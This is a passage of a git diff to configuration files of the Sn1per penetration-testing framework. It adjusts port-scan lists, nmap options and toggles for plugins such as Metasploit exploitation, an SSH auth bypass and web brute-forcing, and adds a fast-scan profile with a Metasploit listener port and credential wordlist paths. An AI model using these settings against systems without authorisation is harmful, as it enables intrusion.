-TOP_1000_PORTS="1,100,1000,10000,10001,10002,10003,10004,10009,1001,10010,10012,1002,10024,10025,1007,10082,1009,1010,1011,10180,1021,10215,1022,1023,1024,10243,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,10566,1057,1058,1059,106,1060,1061,10616,10617,1062,10621,10626,10628,10629,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,10778,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,109,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,110,1100,1102,1104,1105,1106,1107,1108,111,1110,1111,11110,11111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,113,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,119,1192,11967,1198,1199,12000,1201,1213,1216,1217,12174,1218,12265,1233,1234,12345,1236,1244,1247,1248,125,1259,1271,1272,1277,1287,1296,13,1300,1301,1309,1310,1311,1322,1328,1334,13456,135,1352,13722,13782,13783,139,14000,1417,14238,143,1433,1434,144,1443,14441,14442,1455,146,1461,1494,1500,15000,15002,15003,15004,1501,1503,1521,1524,1533,1556,15660,15742,1580,1583,1594,1600,16000,16001,16012,16016,16018,16080,161,16113,163,1641,1658,1666,1687,1688,16992,16993,17,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,17877,179,17988,1801,18040,1805,18101,1812,1839,1840,1862,1863,1864,1875,18988,19,1900,19101,1914,19283,19315,1935,19350,1947,1971,1972,1974,19780,19801,1984,19842,199,1998,1999,20,2000,20000,20005,2001,2002,2003,20031,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,20221,20222,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,20828,2099,21,2100,2103,2105,2106,2107,211,2111,2119,212,2121,2126,2135,2144,21571,2160,2161,2170,2179,2190,2191,2196,22,2200,222,2222,2251,2260,2288,22939,23,2301,2323,23502,2366,2381,2382,2383,2393,2394,2399,24,2401,24444,24800,2492,25,2500,2522,2525,254,255,2557,256,25734,25735,259,26,2601,2602,2604,2605,2607,2608,26214,2638,264,27000,2701,27017,2702,2710,2717,2718,2725,27352,27353,27355,27356,27715,280,2800,2809,2811,28201,2869,2875,2909,2910,2920,2967,2968,2998,3,30,3000,30000,3001,3003,3005,3006,3007,301,3011,3013,3017,3030,3031,3052,306,3071,30718,3077,30951,31038,311,3128,31337,3168,32,3211,3221,3260,3261,3268,3269,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,3283,33,3300,3301,3306,3322,3323,3324,3325,3333,33354,3351,3367,3369,3370,3371,3372,3389,33899,3390,340,3404,34571,34572,34573,3476,3493,3517,3527,3546,35500,3551,3580,3659,366,3689,3690,37,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,38292,3851,3869,3871,3878,3880,3889,389,3905,3914,3918,3920,3945,3971,3986,3995,3998,4,4000,4001,4002,4003,4004,4005,4006,40193,4045,406,407,40911,4111,4125,4126,4129,41511,416,417,42,4224,4242,425,42510,427,4279,43,4321,4343,44176,443,444,4443,4444,44442,44443,4445,4446,4449,445,44501,45100,4550,4567,458,464,465,4662,48080,481,4848,4899,49,4900,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,497,4998,49999,500,5000,50000,50001,50002,50003,50006,5001,5002,5003,5004,5009,5030,50300,5033,50389,5050,50500,5051,5054,5060,5061,50636,5080,50800,5087,5100,5101,5102,51103,512,5120,513,514,51493,515,5190,5200,5214,5221,5222,5225,5226,524,52673,5269,5280,52822,52848,52869,5298,53,5357,54045,5405,541,5414,543,5431,5432,54328,544,5440,545,548,5500,55055,55056,5510,554,5544,555,5550,5555,55555,5560,55600,5566,563,5631,5633,5666,56737,56738,5678,5679,5718,57294,5730,57797,5800,5801,5802,58080,5810,5811,5815,5822,5825,5850,5859,5862,587,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,593,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6,6000,6001,6002,60020,6003,6004,6005,6006,6007,6009,6025,60443,6059,6100,6101,6106,6112,6123,6129,61532,6156,616,617,61900,62078,625,631,63331,6346,636,6389,646,64623,64680,648,65000,6502,6510,65129,65389,6543,6547,6565,6566,6567,6580,6646,666,6666,6667,6668,6669,667,668,6689,6692,6699,6779,6788,6789,6792,683,6839,687,6881,6901,691,6969,7,70,700,7000,7001,7002,7004,7007,7019,7025,705,7070,7100,7103,7106,711,714,720,7200,7201,722,726,7402,7435,7443,749,7496,7512,7625,7627,765,7676,7741,777,7777,7778,7800,783,787,79,7911,7920,7921,7937,7938,7999,80,800,8000,8001,8002,8007,8008,8009,801,8010,8011,8021,8022,8031,8042,8045,808,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,81,8100,8180,8181,8192,8193,8194,82,8200,8222,8254,8290,8291,8292,83,8300,8333,8383,84,8400,8402,843,8443,85,8500,8600,8649,8651,8652,8654,8701,873,88,880,8800,8873,888,8888,8899,89,898,8994,9,90,900,9000,9001,9002,9003,9009,901,9010,9011,902,903,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,911,9110,9111,912,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,981,987,9876,9877,9878,9898,99,990,9900,9917,992,9929,993,9943,9944,995,9968,999,9998,9999" -DEFAULT_UDP_PORTS="53,67,68,69,88,123,161,162,137,138,139,389,500,520,2049" -FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" +QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" +DEFAULT_MSF_PORTS="1-1040,1080,1125,1194,1214,1220,1352,1433,1500,1503,1521,1524,1526,1720,1723,1731,1812-1813,1953,1959,2000,2002,2030,2049,2100,2200,2222,2301,2379,2381,2401,2433,2456,2500,2556,2745,3000-3001,3121,3127-3128,3230-3235,3268-3269,3306,3339,3389,3460,3527,4000,4045,4100,4242,4430,4443,4661-4662,4711,4786,4848,5000,5010,5059-5061,5101,5180,5190-5193,5250,5432,5554-5555,5560,5566,5631,5678,5800-5803,5900-6009,6101,6106,6112,6346,6379,6588,6777,7001-7002,7070,7100,7510,7777-7778,8000-8001,8004-8005,8008,8080-8083,8098-8100,8180-8181,8383-8384,8443-8444,8470-8480,8500,8866,8888,9090,9100-9102,9343,9470-9476,9480,9495,9996,9999-10000,10025,10168,11211,12345-12346,13659,16080,18181-18185,18207-18208,18231-18232,18983,19190-19191,20034,22226,27017,27374,27665,31337,32764,32771,33333,49152,49400,50000,51080,51443,54320,60000,60148,63148,U:7,9,11,13,17,19,37,53,67-69,88,111,123,135,137-139,161-162,177,213,259-260,445,464,500,514,520,523,623,631,749-751,1194,1434,1701,1812-1813,1900,2049,2746,3230-3235,3401,4045,4500,4665-4666,4672,5059-5061,5351,5353,5632,6429,7777,9100-9102,11211,17185,18233,23945,26000-26004,26198,27015-27030,27444,27960-27964,30720-30724,31337,31400,32771,34555,44400,47545,49152,54321" +DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" +DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" +TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,27017" +DEFAULT_UDP_PORTS="53,67-69,88,123,135,137-139,161-162,389,445,500,514,520,631,1434,1900,2049,4500,5353,49152" +FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67-69,U:88,U:123,U:135,U:137-139,U:161-162,U:389,U:445,U:500,U:514,U:520,U:631,U:1434,U:1900,U:2049,U:4500,U:5353,U:49152" -THREADS="20" +THREADS="100" # NETWORK PLUGINS NMAP_SCRIPTS="1" METASPLOIT_EXPLOIT="1" +MSF_LEGACY_WEB_EXPLOITS="0" SSH_AUDIT="1" SSH_ENUM="1" LIBSSH_BYPASS="1" @@ -128,8 +131,8 @@ FINGER_TOOL="1" SHOW_MOUNT="1" RPC_INFO="1" SMB_ENUM="1" -AMAP="1" -YASUO="1" +AMAP="0" +YASUO="0" # OSINT PLUGINS WHOIS="1" @@ -137,30 +140,31 @@ GOOHAK="1" INURLBR="1" THEHARVESTER="1" METAGOOFIL="1" -HUNTERIO="0" +HUNTERIO="1" INTODNS="1" EMAILFORMAT="1" ULTRATOOLS="1" URLCRAZY="1" VHOSTS="1" -H8MAIL="0" -GITHUB_SECRETS="0" +H8MAIL="1" # ACTIVE WEB PLUGINS +SC0PE_VULNERABLITY_SCANNER="1" BURP_SCAN="0" -ARACHNI_SCAN="1" +ARACHNI_SCAN="0" +ZAP_SCAN="0" DIRSEARCH="1" GOBUSTER="0" -NIKTO="1" +NIKTO="0" BLACKWIDOW="1" -CLUSTERD="1" -WPSCAN="1" -CMSMAP="1" +CLUSTERD="0" +WPSCAN="0" +CMSMAP="0" WAFWOOF="1" WHATWEB="1" -WIG="1" -SHOCKER="1" -JEXBOSS="1" +WIG="0" +SHOCKER="0" +JEXBOSS="0" WEBTECH="1" SSL_INSECURE="1" HTTP_PROBE="1" @@ -168,8 +172,8 @@ HTTP_PROBE="1" # ACTIVE WEB BRUTE FORCE STAGES WEB_BRUTE_STEALTHSCAN="1" WEB_BRUTE_COMMONSCAN="1" -WEB_BRUTE_FULLSCAN="1" -WEB_BRUTE_EXPLOITSCAN="1" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" WEB_JAVASCRIPT_ANALYSIS="1" MAX_JAVASCRIPT_FILES="25" @@ -178,6 +182,7 @@ WAYBACKMACHINE="1" SSL="1" PASSIVE_SPIDER="1" HACKERTARGET="1" +GUA="1" CUTYCAPT="0" WEBSCREENSHOT="1" @@ -186,15 +191,16 @@ SPOOF_CHECK="1" # RECON PLUGINS SUBHIJACK_CHECK="1" -SLURP="1" -SUBLIST3R="1" -AMASS="1" -SUBFINDER="1" -DNSCAN="1" +AQUATONE="0" +SLURP="0" +SUBLIST3R="0" +AMASS="0" +SUBFINDER="0" +DNSCAN="0" CRTSH="1" SUBOVER="1" PROJECT_SONAR="1" -CENSYS_SUBDOMAINS="0" +CENSYS_SUBDOMAINS="1" SUBNET_RETRIEVAL="1" SUBJACK="1" ALT_DNS="0" @@ -203,5 +209,6 @@ DNSGEN="0" SHODAN="0" ASN_CHECK="1" SPYSE="1" +SUBBRUTE_DNS="0" GITHUB_SUBDOMAINS="0" RAPIDDNS="1" \ No newline at end of file diff --git a/conf/fast_service_portscan b/conf/fast_service_portscan new file mode 100644 index 0000000..f120c4f --- /dev/null +++ b/conf/fast_service_portscan @@ -0,0 +1,213 @@ +INSTALL_DIR="/usr/share/sniper" +SNIPER_PRO=$INSTALL_DIR/pro.sh +PLUGINS_DIR="$INSTALL_DIR/plugins" + +# COLORS +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' +REGEX='^[0-9]+$' + +# DEFAULT SETTINGS +VERBOSE="0" +AUTOBRUTE="0" +FULLNMAPSCAN="0" +OSINT="0" +ENABLE_AUTO_UPDATES="1" +# ONLINE="1" +REPORT="1" +LOOT="1" +SC0PE_VULNERABLITY_SCANNER="1" + +# SN1PER PROFESSIONAL SETTINGS +SNIPER_PRO_CONSOLE_OUTPUT="0" +SN1PER_AUTOLOAD="1" +MAX_HOSTS="2000" + +# DEFAULT BROWSER +BROWSER="firefox" + +# BURP 2.0 SCANNER CONFIG +BURP_HOST="127.0.0.1" +BURP_PORT="1338" + +# OPENVAS CONFIG +OPENVAS="1" +OPENVAS_HOST="127.0.0.1" +OPENVAS_PORT="9390" +OPENVAS_USERNAME="admin" +OPENVAS_PASSWORD="" + +# METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" +MSF_LHOST="127.0.0.1" +MSF_LPORT="4444" + +# SHODAN API KEY +SHODAN_API_KEY="" + +# CENSYS API KEYS +CENSYS_APP_ID="" +CENSYS_API_SECRET="" + +# HUNTER.IO API KEY +HUNTERIO_KEY="" + +# GITHUB API KEY +GITHUB_API_KEY="" + +# SLACK API +SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" +SLACK_NOTIFICATIONS_THEHARVESTER="0" +SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" +SLACK_NOTIFICATIONS_SUBNETS="0" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" +SLACK_NOTIFICATIONS_WHATWEB="0" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" +SLACK_NOTIFICATIONS_WHOIS="0" +SLACK_NOTIFICATIONS_METAGOOFIL="0" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" + +# WEB BRUTE FORCE WORDLISTS +WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" +WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" +WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" +WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" +WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" + +# DOMAIN WORDLISTS +DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" +#DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" +DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt" +DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-extreme.txt" + +# DEFAULT USER/PASS WORDLISTS +USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" +PASS_FILE="/usr/share/brutex/wordlists/password.lst" +DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" + +# TOOL DIRECTORIES +THEHARVESTER_PATH="/usr/share/theharvester/theharvester.py" +SAMRDUMP="/usr/share/sniper/bin/samrdump.py" + +# FLYOVER MODE TUNING +FLYOVER_MAX_HOSTS="5" +FLYOVER_DELAY="10" + +# NMAP OPTIONS +NMAP_OPTIONS="-sV -Pn -O --osscan-guess --max-os-tries 1 --privileged -n -PE -v --max-retries 3 --min-rtt-timeout 500ms --max-rtt-timeout 3000ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --script-args=vulns.showall --script-timeout 180 --data-length=50 --script-args http.useragent='' --min-parallelism 100" + +# NMAP PORT CONFIGURATIONS +QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" +DEFAULT_MSF_PORTS="1-1040,1080,1125,1194,1214,1220,1352,1433,1500,1503,1521,1524,1526,1720,1723,1731,1812-1813,1953,1959,2000,2002,2030,2049,2100,2200,2222,2301,2379,2381,2401,2433,2456,2500,2556,2745,3000-3001,3121,3127-3128,3230-3235,3268-3269,3306,3339,3389,3460,3527,4000,4045,4100,4242,4430,4443,4661-4662,4711,4786,4848,5000,5010,5059-5061,5101,5180,5190-5193,5250,5432,5554-5555,5560,5566,5631,5678,5800-5803,5900-6009,6101,6106,6112,6346,6379,6588,6777,7001-7002,7070,7100,7510,7777-7778,8000-8001,8004-8005,8008,8080-8083,8098-8100,8180-8181,8383-8384,8443-8444,8470-8480,8500,8866,8888,9090,9100-9102,9343,9470-9476,9480,9495,9996,9999-10000,10025,10168,11211,12345-12346,13659,16080,18181-18185,18207-18208,18231-18232,18983,19190-19191,20034,22226,27017,27374,27665,31337,32764,32771,33333,49152,49400,50000,51080,51443,54320,60000,60148,63148,U:7,9,11,13,17,19,37,53,67-69,88,111,123,135,137-139,161-162,177,213,259-260,445,464,500,514,520,523,623,631,749-751,1194,1434,1701,1812-1813,1900,2049,2746,3230-3235,3401,4045,4500,4665-4666,4672,5059-5061,5351,5353,5632,6429,7777,9100-9102,11211,17185,18233,23945,26000-26004,26198,27015-27030,27444,27960-27964,30720-30724,31337,31400,32771,34555,44400,47545,49152,54321" +DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,